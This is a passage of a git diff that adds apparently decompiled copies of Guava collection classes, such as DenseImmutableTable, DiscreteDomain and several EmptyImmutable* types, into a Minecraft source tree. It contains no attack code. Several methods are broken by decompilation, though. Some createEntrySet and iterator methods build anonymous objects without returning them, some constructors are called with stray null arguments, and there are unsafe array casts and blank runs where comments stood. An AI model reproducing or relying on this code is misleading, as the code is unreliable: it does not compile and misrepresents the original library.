+    void describeAsLowerBound(StringBuilder sb) {
+      sb.append('(').append(endpoint);
+    }
+    
+    void describeAsUpperBound(StringBuilder sb) { sb.append(endpoint).append(']'); }
+    
+    C leastValueAbove(DiscreteDomain<C> domain) {
+      return domain.next(endpoint);
+    }
+    
+    C greatestValueBelow(DiscreteDomain<C> domain) { return endpoint; }
+    
+    Cut<C> canonical(DiscreteDomain<C> domain) {
+      C next = leastValueAbove(domain);
+      return next != null ? belowValue(next) : Cut.aboveAll();
+    }
+    
+    public int hashCode() { return endpoint.hashCode() ^ 0xFFFFFFFF; }
+    
+    public String toString() {
+      return "/" + endpoint + "\\";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/DenseImmutableTable.java b/src/minecraft/com/google/common/collect/DenseImmutableTable.java
new file mode 100644
index 0000000..9df0f55
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/DenseImmutableTable.java
@@ -0,0 +1,278 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Map;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.Immutable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+@Immutable
+final class DenseImmutableTable<R, C, V>
+  extends RegularImmutableTable<R, C, V>
+{
+  private final ImmutableMap<R, Integer> rowKeyToIndex;
+  private final ImmutableMap<C, Integer> columnKeyToIndex;
+  private final ImmutableMap<R, Map<C, V>> rowMap;
+  private final ImmutableMap<C, Map<R, V>> columnMap;
+  private final int[] rowCounts;
+  private final int[] columnCounts;
+  private final V[][] values;
+  private final int[] iterationOrderRow;
+  private final int[] iterationOrderColumn;
+  
+  private static <E> ImmutableMap<E, Integer> makeIndex(ImmutableSet<E> set)
+  {
+    ImmutableMap.Builder<E, Integer> indexBuilder = ImmutableMap.builder();
+    int i = 0;
+    for (E key : set) {
+      indexBuilder.put(key, Integer.valueOf(i));
+      i++;
+    }
+    return indexBuilder.build();
+  }
+  
+
+  DenseImmutableTable(ImmutableList<Table.Cell<R, C, V>> cellList, ImmutableSet<R> rowSpace, ImmutableSet<C> columnSpace)
+  {
+    V[][] array = (Object[][])new Object[rowSpace.size()][columnSpace.size()];
+    values = array;
+    rowKeyToIndex = makeIndex(rowSpace);
+    columnKeyToIndex = makeIndex(columnSpace);
+    rowCounts = new int[rowKeyToIndex.size()];
+    columnCounts = new int[columnKeyToIndex.size()];
+    int[] iterationOrderRow = new int[cellList.size()];
+    int[] iterationOrderColumn = new int[cellList.size()];
+    for (int i = 0; i < cellList.size(); i++) {
+      Table.Cell<R, C, V> cell = (Table.Cell)cellList.get(i);
+      R rowKey = cell.getRowKey();
+      C columnKey = cell.getColumnKey();
+      int rowIndex = ((Integer)rowKeyToIndex.get(rowKey)).intValue();
+      int columnIndex = ((Integer)columnKeyToIndex.get(columnKey)).intValue();
+      V existingValue = values[rowIndex][columnIndex];
+      Preconditions.checkArgument(existingValue == null, "duplicate key: (%s, %s)", new Object[] { rowKey, columnKey });
+      values[rowIndex][columnIndex] = cell.getValue();
+      rowCounts[rowIndex] += 1;
+      columnCounts[columnIndex] += 1;
+      iterationOrderRow[i] = rowIndex;
+      iterationOrderColumn[i] = columnIndex;
+    }
+    this.iterationOrderRow = iterationOrderRow;
+    this.iterationOrderColumn = iterationOrderColumn;
+    rowMap = new RowMap(null);
+    columnMap = new ColumnMap(null);
+  }
+  
+  private static abstract class ImmutableArrayMap<K, V>
+    extends ImmutableMap<K, V>
+  {
+    private final int size;
+    
+    ImmutableArrayMap(int size)
+    {
+      this.size = size;
+    }
+    
+    abstract ImmutableMap<K, Integer> keyToIndex();
+    
+    private boolean isFull()
+    {
+      return size == keyToIndex().size();
+    }
+    
+    K getKey(int index) {
+      return keyToIndex().keySet().asList().get(index);
+    }
+    
+    @Nullable
+    abstract V getValue(int paramInt);
+    
+    ImmutableSet<K> createKeySet() {
+      return isFull() ? keyToIndex().keySet() : super.createKeySet();
+    }
+    
+    public int size()
+    {
+      return size;
+    }
+    
+    public V get(@Nullable Object key)
+    {
+      Integer keyIndex = (Integer)keyToIndex().get(key);
+      return keyIndex == null ? null : getValue(keyIndex.intValue());
+    }
+    
+    ImmutableSet<Map.Entry<K, V>> createEntrySet()
+    {
+      new ImmutableMapEntrySet() {
+        ImmutableMap<K, V> map() {
+          return DenseImmutableTable.ImmutableArrayMap.this;
+        }
+        
+        public UnmodifiableIterator<Map.Entry<K, V>> iterator()
+        {
+          new AbstractIterator() {
+            private int index = -1;
+            private final int maxIndex = keyToIndex().size();
+            
+            protected Map.Entry<K, V> computeNext()
+            {
+              for (index += 1; index < maxIndex; index += 1) {
+                V value = getValue(index);
+                if (value != null) {
+                  return Maps.immutableEntry(getKey(index), value);
+                }
+              }
+              return (Map.Entry)endOfData();
+            }
+          };
+        }
+      };
+    }
+  }
+  
+  private final class Row extends DenseImmutableTable.ImmutableArrayMap<C, V> {
+    private final int rowIndex;
+    
+    Row(int rowIndex) {
+      super();
+      this.rowIndex = rowIndex;
+    }
+    
+    ImmutableMap<C, Integer> keyToIndex()
+    {
+      return columnKeyToIndex;
+    }
+    
+    V getValue(int keyIndex)
+    {
+      return values[rowIndex][keyIndex];
+    }
+    
+    boolean isPartialView()
+    {
+      return true;
+    }
+  }
+  
+  private final class Column extends DenseImmutableTable.ImmutableArrayMap<R, V> {
+    private final int columnIndex;
+    
+    Column(int columnIndex) {
+      super();
+      this.columnIndex = columnIndex;
+    }
+    
+    ImmutableMap<R, Integer> keyToIndex()
+    {
+      return rowKeyToIndex;
+    }
+    
+    V getValue(int keyIndex)
+    {
+      return values[keyIndex][columnIndex];
+    }
+    
+    boolean isPartialView()
+    {
+      return true;
+    }
+  }
+  
+  private final class RowMap extends DenseImmutableTable.ImmutableArrayMap<R, Map<C, V>> {
+    private RowMap() {
+      super();
+    }
+    
+    ImmutableMap<R, Integer> keyToIndex()
+    {
+      return rowKeyToIndex;
+    }
+    
+    Map<C, V> getValue(int keyIndex)
+    {
+      return new DenseImmutableTable.Row(DenseImmutableTable.this, keyIndex);
+    }
+    
+    boolean isPartialView()
+    {
+      return false;
+    }
+  }
+  
+  private final class ColumnMap extends DenseImmutableTable.ImmutableArrayMap<C, Map<R, V>> {
+    private ColumnMap() {
+      super();
+    }
+    
+    ImmutableMap<C, Integer> keyToIndex()
+    {
+      return columnKeyToIndex;
+    }
+    
+    Map<R, V> getValue(int keyIndex)
+    {
+      return new DenseImmutableTable.Column(DenseImmutableTable.this, keyIndex);
+    }
+    
+    boolean isPartialView()
+    {
+      return false;
+    }
+  }
+  
+  public ImmutableMap<C, Map<R, V>> columnMap() {
+    return columnMap;
+  }
+  
+  public ImmutableMap<R, Map<C, V>> rowMap()
+  {
+    return rowMap;
+  }
+  
+  public V get(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    Integer rowIndex = (Integer)rowKeyToIndex.get(rowKey);
+    Integer columnIndex = (Integer)columnKeyToIndex.get(columnKey);
+    return (rowIndex == null) || (columnIndex == null) ? null : values[rowIndex.intValue()][columnIndex.intValue()];
+  }
+  
+
+  public int size()
+  {
+    return iterationOrderRow.length;
+  }
+  
+  Table.Cell<R, C, V> getCell(int index)
+  {
+    int rowIndex = iterationOrderRow[index];
+    int columnIndex = iterationOrderColumn[index];
+    R rowKey = rowKeySet().asList().get(rowIndex);
+    C columnKey = columnKeySet().asList().get(columnIndex);
+    V value = values[rowIndex][columnIndex];
+    return cellOf(rowKey, columnKey, value);
+  }
+  
+  V getValue(int index)
+  {
+    return values[iterationOrderRow[index]][iterationOrderColumn[index]];
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/DescendingImmutableSortedMultiset.java b/src/minecraft/com/google/common/collect/DescendingImmutableSortedMultiset.java
new file mode 100644
index 0000000..e34673f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/DescendingImmutableSortedMultiset.java
@@ -0,0 +1,81 @@
+package com.google.common.collect;
+
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DescendingImmutableSortedMultiset<E>
+  extends ImmutableSortedMultiset<E>
+{
+  private final transient ImmutableSortedMultiset<E> forward;
+  
+  DescendingImmutableSortedMultiset(ImmutableSortedMultiset<E> forward)
+  {
+    this.forward = forward;
+  }
+  
+  public int count(@Nullable Object element)
+  {
+    return forward.count(element);
+  }
+  
+  public Multiset.Entry<E> firstEntry()
+  {
+    return forward.lastEntry();
+  }
+  
+  public Multiset.Entry<E> lastEntry()
+  {
+    return forward.firstEntry();
+  }
+  
+  public int size()
+  {
+    return forward.size();
+  }
+  
+  public ImmutableSortedSet<E> elementSet()
+  {
+    return forward.elementSet().descendingSet();
+  }
+  
+  Multiset.Entry<E> getEntry(int index)
+  {
+    return (Multiset.Entry)forward.entrySet().asList().reverse().get(index);
+  }
+  
+  public ImmutableSortedMultiset<E> descendingMultiset()
+  {
+    return forward;
+  }
+  
+  public ImmutableSortedMultiset<E> headMultiset(E upperBound, BoundType boundType)
+  {
+    return forward.tailMultiset(upperBound, boundType).descendingMultiset();
+  }
+  
+  public ImmutableSortedMultiset<E> tailMultiset(E lowerBound, BoundType boundType)
+  {
+    return forward.headMultiset(lowerBound, boundType).descendingMultiset();
+  }
+  
+  boolean isPartialView()
+  {
+    return forward.isPartialView();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/DescendingImmutableSortedSet.java b/src/minecraft/com/google/common/collect/DescendingImmutableSortedSet.java
new file mode 100644
index 0000000..04b4053
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/DescendingImmutableSortedSet.java
@@ -0,0 +1,114 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtIncompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class DescendingImmutableSortedSet<E>
+  extends ImmutableSortedSet<E>
+{
+  private final ImmutableSortedSet<E> forward;
+  
+  DescendingImmutableSortedSet(ImmutableSortedSet<E> forward)
+  {
+    super(Ordering.from(forward.comparator()).reverse());
+    this.forward = forward;
+  }
+  
+  public int size()
+  {
+    return forward.size();
+  }
+  
+  public UnmodifiableIterator<E> iterator()
+  {
+    return forward.descendingIterator();
+  }
+  
+  ImmutableSortedSet<E> headSetImpl(E toElement, boolean inclusive)
+  {
+    return forward.tailSet(toElement, inclusive).descendingSet();
+  }
+  
+
+  ImmutableSortedSet<E> subSetImpl(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+  {
+    return forward.subSet(toElement, toInclusive, fromElement, fromInclusive).descendingSet();
+  }
+  
+  ImmutableSortedSet<E> tailSetImpl(E fromElement, boolean inclusive)
+  {
+    return forward.headSet(fromElement, inclusive).descendingSet();
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  public ImmutableSortedSet<E> descendingSet()
+  {
+    return forward;
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  public UnmodifiableIterator<E> descendingIterator()
+  {
+    return forward.iterator();
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  ImmutableSortedSet<E> createDescendingSet()
+  {
+    throw new AssertionError("should never be called");
+  }
+  
+  public E lower(E element)
+  {
+    return forward.higher(element);
+  }
+  
+  public E floor(E element)
+  {
+    return forward.ceiling(element);
+  }
+  
+  public E ceiling(E element)
+  {
+    return forward.floor(element);
+  }
+  
+  public E higher(E element)
+  {
+    return forward.lower(element);
+  }
+  
+  int indexOf(@Nullable Object target)
+  {
+    int index = forward.indexOf(target);
+    if (index == -1) {
+      return index;
+    }
+    return size() - 1 - index;
+  }
+  
+
+  boolean isPartialView()
+  {
+    return forward.isPartialView();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/DescendingMultiset.java b/src/minecraft/com/google/common/collect/DescendingMultiset.java
new file mode 100644
index 0000000..d7808c9
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/DescendingMultiset.java
@@ -0,0 +1,140 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NavigableSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+abstract class DescendingMultiset<E>
+  extends ForwardingMultiset<E>
+  implements SortedMultiset<E>
+{
+  private transient Comparator<? super E> comparator;
+  private transient NavigableSet<E> elementSet;
+  private transient Set<Multiset.Entry<E>> entrySet;
+  
+  DescendingMultiset() {}
+  
+  abstract SortedMultiset<E> forwardMultiset();
+  
+  public Comparator<? super E> comparator()
+  {
+    Comparator<? super E> result = comparator;
+    if (result == null) {
+      return this.comparator = Ordering.from(forwardMultiset().comparator()).reverse();
+    }
+    
+    return result;
+  }
+  
+
+  public NavigableSet<E> elementSet()
+  {
+    NavigableSet<E> result = elementSet;
+    if (result == null) {
+      return this.elementSet = new SortedMultisets.NavigableElementSet(this);
+    }
+    return result;
+  }
+  
+  public Multiset.Entry<E> pollFirstEntry() {
+    return forwardMultiset().pollLastEntry();
+  }
+  
+  public Multiset.Entry<E> pollLastEntry() {
+    return forwardMultiset().pollFirstEntry();
+  }
+  
+  public SortedMultiset<E> headMultiset(E toElement, BoundType boundType)
+  {
+    return forwardMultiset().tailMultiset(toElement, boundType).descendingMultiset();
+  }
+  
+
+  public SortedMultiset<E> subMultiset(E fromElement, BoundType fromBoundType, E toElement, BoundType toBoundType)
+  {
+    return forwardMultiset().subMultiset(toElement, toBoundType, fromElement, fromBoundType).descendingMultiset();
+  }
+  
+
+  public SortedMultiset<E> tailMultiset(E fromElement, BoundType boundType)
+  {
+    return forwardMultiset().headMultiset(fromElement, boundType).descendingMultiset();
+  }
+  
+  protected Multiset<E> delegate()
+  {
+    return forwardMultiset();
+  }
+  
+  public SortedMultiset<E> descendingMultiset() {
+    return forwardMultiset();
+  }
+  
+  public Multiset.Entry<E> firstEntry() {
+    return forwardMultiset().lastEntry();
+  }
+  
+  public Multiset.Entry<E> lastEntry() {
+    return forwardMultiset().firstEntry();
+  }
+  
+
+  abstract Iterator<Multiset.Entry<E>> entryIterator();
+  
+  public Set<Multiset.Entry<E>> entrySet()
+  {
+    Set<Multiset.Entry<E>> result = entrySet;
+    return result == null ? (this.entrySet = createEntrySet()) : result;
+  }
+  
+  Set<Multiset.Entry<E>> createEntrySet() {
+    new Multisets.EntrySet() {
+      Multiset<E> multiset() {
+        return DescendingMultiset.this;
+      }
+      
+      public Iterator<Multiset.Entry<E>> iterator() {
+        return entryIterator();
+      }
+      
+      public int size() {
+        return forwardMultiset().entrySet().size();
+      }
+    };
+  }
+  
+  public Iterator<E> iterator() {
+    return Multisets.iteratorImpl(this);
+  }
+  
+  public Object[] toArray() {
+    return standardToArray();
+  }
+  
+  public <T> T[] toArray(T[] array) {
+    return standardToArray(array);
+  }
+  
+  public String toString() {
+    return entrySet().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/DiscreteDomain.java b/src/minecraft/com/google/common/collect/DiscreteDomain.java
new file mode 100644
index 0000000..190227e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/DiscreteDomain.java
@@ -0,0 +1,262 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.math.BigInteger;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+@Beta
+public abstract class DiscreteDomain<C extends Comparable>
+{
+  public static DiscreteDomain<Integer> integers() { return IntegerDomain.INSTANCE; }
+  
+  private static final class IntegerDomain extends DiscreteDomain<Integer> implements Serializable {
+    private IntegerDomain() {}
+    
+    private static final IntegerDomain INSTANCE = new IntegerDomain();
+    
+    public Integer next(Integer value) {
+      int i = value.intValue();
+      return i == Integer.MAX_VALUE ? null : Integer.valueOf(i + 1);
+    }
+    
+    public Integer previous(Integer value) {
+      int i = value.intValue();
+      return i == Integer.MIN_VALUE ? null : Integer.valueOf(i - 1);
+    }
+    
+    public long distance(Integer start, Integer end) {
+      return end.intValue() - start.intValue();
+    }
+    
+    public Integer minValue() {
+      return Integer.valueOf(Integer.MIN_VALUE);
+    }
+    
+    public Integer maxValue() {
+      return Integer.valueOf(Integer.MAX_VALUE);
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+    
+    public String toString()
+    {
+      return "DiscreteDomain.integers()";
+    }
+    
+
+
+
+    private static final long serialVersionUID = 0L;
+  }
+  
+
+
+
+  public static DiscreteDomain<Long> longs() { return LongDomain.INSTANCE; }
+  
+  private static final class LongDomain extends DiscreteDomain<Long> implements Serializable {
+    private LongDomain() {}
+    
+    private static final LongDomain INSTANCE = new LongDomain();
+    
+    public Long next(Long value) {
+      long l = value.longValue();
+      return l == Long.MAX_VALUE ? null : Long.valueOf(l + 1L);
+    }
+    
+    public Long previous(Long value) {
+      long l = value.longValue();
+      return l == Long.MIN_VALUE ? null : Long.valueOf(l - 1L);
+    }
+    
+    public long distance(Long start, Long end) {
+      long result = end.longValue() - start.longValue();
+      if ((end.longValue() > start.longValue()) && (result < 0L)) {
+        return Long.MAX_VALUE;
+      }
+      if ((end.longValue() < start.longValue()) && (result > 0L)) {
+        return Long.MIN_VALUE;
+      }
+      return result;
+    }
+    
+    public Long minValue() {
+      return Long.valueOf(Long.MIN_VALUE);
+    }
+    
+    public Long maxValue() {
+      return Long.valueOf(Long.MAX_VALUE);
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+    
+    public String toString()
+    {
+      return "DiscreteDomain.longs()";
+    }
+    
+
+
+
+    private static final long serialVersionUID = 0L;
+  }
+  
+
+
+
+  public static DiscreteDomain<BigInteger> bigIntegers() { return BigIntegerDomain.INSTANCE; }
+  
+  protected DiscreteDomain() {}
+  
+  private static final class BigIntegerDomain extends DiscreteDomain<BigInteger> implements Serializable {
+    private static final BigIntegerDomain INSTANCE = new BigIntegerDomain();
+    
+    private static final BigInteger MIN_LONG = BigInteger.valueOf(Long.MIN_VALUE);
+    
+    private static final BigInteger MAX_LONG = BigInteger.valueOf(Long.MAX_VALUE);
+    
+    private BigIntegerDomain() {}
+    
+    public BigInteger next(BigInteger value) { return value.add(BigInteger.ONE); }
+    
+    public BigInteger previous(BigInteger value)
+    {
+      return value.subtract(BigInteger.ONE);
+    }
+    
+    public long distance(BigInteger start, BigInteger end) {
+      return end.subtract(start).max(MIN_LONG).min(MAX_LONG).longValue();
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+    
+    public String toString()
+    {
+      return "DiscreteDomain.bigIntegers()";
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    private static final long serialVersionUID = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public abstract C next(C paramC);
+  
+
+
+
+
+
+
+
+
+
+  public abstract C previous(C paramC);
+  
+
+
+
+
+
+
+
+
+
+  public abstract long distance(C paramC1, C paramC2);
+  
+
+
+
+
+
+
+
+
+
+  public C minValue()
+  {
+    throw new NoSuchElementException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public C maxValue()
+  {
+    throw new NoSuchElementException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EmptyContiguousSet.java b/src/minecraft/com/google/common/collect/EmptyContiguousSet.java
new file mode 100644
index 0000000..3724691
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EmptyContiguousSet.java
@@ -0,0 +1,141 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.Serializable;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class EmptyContiguousSet<C extends Comparable>
+  extends ContiguousSet<C>
+{
+  EmptyContiguousSet(DiscreteDomain<C> domain)
+  {
+    super(domain);
+  }
+  
+  public C first() {
+    throw new NoSuchElementException();
+  }
+  
+  public C last() {
+    throw new NoSuchElementException();
+  }
+  
+  public int size() {
+    return 0;
+  }
+  
+  public ContiguousSet<C> intersection(ContiguousSet<C> other) {
+    return this;
+  }
+  
+  public Range<C> range() {
+    throw new NoSuchElementException();
+  }
+  
+  public Range<C> range(BoundType lowerBoundType, BoundType upperBoundType) {
+    throw new NoSuchElementException();
+  }
+  
+  ContiguousSet<C> headSetImpl(C toElement, boolean inclusive) {
+    return this;
+  }
+  
+  ContiguousSet<C> subSetImpl(C fromElement, boolean fromInclusive, C toElement, boolean toInclusive)
+  {
+    return this;
+  }
+  
+  ContiguousSet<C> tailSetImpl(C fromElement, boolean fromInclusive) {
+    return this;
+  }
+  
+  @GwtIncompatible("not used by GWT emulation")
+  int indexOf(Object target) {
+    return -1;
+  }
+  
+  public UnmodifiableIterator<C> iterator() {
+    return Iterators.emptyIterator();
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  public UnmodifiableIterator<C> descendingIterator() {
+    return Iterators.emptyIterator();
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  public boolean isEmpty() {
+    return true;
+  }
+  
+  public ImmutableList<C> asList() {
+    return ImmutableList.of();
+  }
+  
+  public String toString() {
+    return "[]";
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if ((object instanceof Set)) {
+      Set<?> that = (Set)object;
+      return that.isEmpty();
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return 0;
+  }
+  
+  @GwtIncompatible("serialization")
+  private static final class SerializedForm<C extends Comparable> implements Serializable {
+    private final DiscreteDomain<C> domain;
+    private static final long serialVersionUID = 0L;
+    
+    private SerializedForm(DiscreteDomain<C> domain) { this.domain = domain; }
+    
+    private Object readResolve()
+    {
+      return new EmptyContiguousSet(domain);
+    }
+  }
+  
+
+
+  @GwtIncompatible("serialization")
+  Object writeReplace()
+  {
+    return new SerializedForm(domain, null);
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  ImmutableSortedSet<C> createDescendingSet() {
+    return new EmptyImmutableSortedSet(Ordering.natural().reverse());
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EmptyImmutableBiMap.java b/src/minecraft/com/google/common/collect/EmptyImmutableBiMap.java
new file mode 100644
index 0000000..6fab344
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EmptyImmutableBiMap.java
@@ -0,0 +1,82 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class EmptyImmutableBiMap
+  extends ImmutableBiMap<Object, Object>
+{
+  static final EmptyImmutableBiMap INSTANCE = new EmptyImmutableBiMap();
+  
+  private EmptyImmutableBiMap() {}
+  
+  public ImmutableBiMap<Object, Object> inverse() {
+    return this;
+  }
+  
+  public int size()
+  {
+    return 0;
+  }
+  
+  public boolean isEmpty()
+  {
+    return true;
+  }
+  
+  public Object get(@Nullable Object key)
+  {
+    return null;
+  }
+  
+  public ImmutableSet<Map.Entry<Object, Object>> entrySet()
+  {
+    return ImmutableSet.of();
+  }
+  
+  ImmutableSet<Map.Entry<Object, Object>> createEntrySet()
+  {
+    throw new AssertionError("should never be called");
+  }
+  
+  public ImmutableSetMultimap<Object, Object> asMultimap()
+  {
+    return ImmutableSetMultimap.of();
+  }
+  
+  public ImmutableSet<Object> keySet()
+  {
+    return ImmutableSet.of();
+  }
+  
+  boolean isPartialView()
+  {
+    return false;
+  }
+  
+  Object readResolve() {
+    return INSTANCE;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EmptyImmutableListMultimap.java b/src/minecraft/com/google/common/collect/EmptyImmutableListMultimap.java
new file mode 100644
index 0000000..76a176c
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EmptyImmutableListMultimap.java
@@ -0,0 +1,38 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+class EmptyImmutableListMultimap
+  extends ImmutableListMultimap<Object, Object>
+{
+  static final EmptyImmutableListMultimap INSTANCE = new EmptyImmutableListMultimap();
+  private static final long serialVersionUID = 0L;
+  
+  private EmptyImmutableListMultimap() {
+    super(ImmutableMap.of(), 0);
+  }
+  
+  private Object readResolve() {
+    return INSTANCE;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EmptyImmutableSet.java b/src/minecraft/com/google/common/collect/EmptyImmutableSet.java
new file mode 100644
index 0000000..0479edf
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EmptyImmutableSet.java
@@ -0,0 +1,95 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class EmptyImmutableSet
+  extends ImmutableSet<Object>
+{
+  static final EmptyImmutableSet INSTANCE = new EmptyImmutableSet();
+  private static final long serialVersionUID = 0L;
+  
+  private EmptyImmutableSet() {}
+  
+  public int size() {
+    return 0;
+  }
+  
+  public boolean isEmpty() {
+    return true;
+  }
+  
+  public boolean contains(@Nullable Object target) {
+    return false;
+  }
+  
+  public boolean containsAll(Collection<?> targets) {
+    return targets.isEmpty();
+  }
+  
+  public UnmodifiableIterator<Object> iterator() {
+    return Iterators.emptyIterator();
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    return offset;
+  }
+  
+  public ImmutableList<Object> asList()
+  {
+    return ImmutableList.of();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if ((object instanceof Set)) {
+      Set<?> that = (Set)object;
+      return that.isEmpty();
+    }
+    return false;
+  }
+  
+  public final int hashCode() {
+    return 0;
+  }
+  
+  boolean isHashCodeFast() {
+    return true;
+  }
+  
+  public String toString() {
+    return "[]";
+  }
+  
+  Object readResolve() {
+    return INSTANCE;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EmptyImmutableSetMultimap.java b/src/minecraft/com/google/common/collect/EmptyImmutableSetMultimap.java
new file mode 100644
index 0000000..0efef08
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EmptyImmutableSetMultimap.java
@@ -0,0 +1,38 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+class EmptyImmutableSetMultimap
+  extends ImmutableSetMultimap<Object, Object>
+{
+  static final EmptyImmutableSetMultimap INSTANCE = new EmptyImmutableSetMultimap();
+  private static final long serialVersionUID = 0L;
+  
+  private EmptyImmutableSetMultimap() {
+    super(ImmutableMap.of(), 0, null);
+  }
+  
+  private Object readResolve() {
+    return INSTANCE;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EmptyImmutableSortedMap.java b/src/minecraft/com/google/common/collect/EmptyImmutableSortedMap.java
new file mode 100644
index 0000000..36f7843
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EmptyImmutableSortedMap.java
@@ -0,0 +1,112 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class EmptyImmutableSortedMap<K, V>
+  extends ImmutableSortedMap<K, V>
+{
+  private final transient ImmutableSortedSet<K> keySet;
+  
+  EmptyImmutableSortedMap(Comparator<? super K> comparator)
+  {
+    keySet = ImmutableSortedSet.emptySet(comparator);
+  }
+  
+  EmptyImmutableSortedMap(Comparator<? super K> comparator, ImmutableSortedMap<K, V> descendingMap)
+  {
+    super(descendingMap);
+    keySet = ImmutableSortedSet.emptySet(comparator);
+  }
+  
+  public V get(@Nullable Object key)
+  {
+    return null;
+  }
+  
+  public ImmutableSortedSet<K> keySet()
+  {
+    return keySet;
+  }
+  
+  public int size()
+  {
+    return 0;
+  }
+  
+  public boolean isEmpty()
+  {
+    return true;
+  }
+  
+  public ImmutableCollection<V> values()
+  {
+    return ImmutableList.of();
+  }
+  
+  public String toString()
+  {
+    return "{}";
+  }
+  
+  boolean isPartialView()
+  {
+    return false;
+  }
+  
+  public ImmutableSet<Map.Entry<K, V>> entrySet()
+  {
+    return ImmutableSet.of();
+  }
+  
+  ImmutableSet<Map.Entry<K, V>> createEntrySet()
+  {
+    throw new AssertionError("should never be called");
+  }
+  
+  public ImmutableSetMultimap<K, V> asMultimap()
+  {
+    return ImmutableSetMultimap.of();
+  }
+  
+  public ImmutableSortedMap<K, V> headMap(K toKey, boolean inclusive)
+  {
+    Preconditions.checkNotNull(toKey);
+    return this;
+  }
+  
+  public ImmutableSortedMap<K, V> tailMap(K fromKey, boolean inclusive)
+  {
+    Preconditions.checkNotNull(fromKey);
+    return this;
+  }
+  
+  ImmutableSortedMap<K, V> createDescendingMap()
+  {
+    return new EmptyImmutableSortedMap(Ordering.from(comparator()).reverse(), this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/EmptyImmutableSortedMultiset.java b/src/minecraft/com/google/common/collect/EmptyImmutableSortedMultiset.java
new file mode 100644
index 0000000..63e3b82
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/EmptyImmutableSortedMultiset.java
@@ -0,0 +1,114 @@
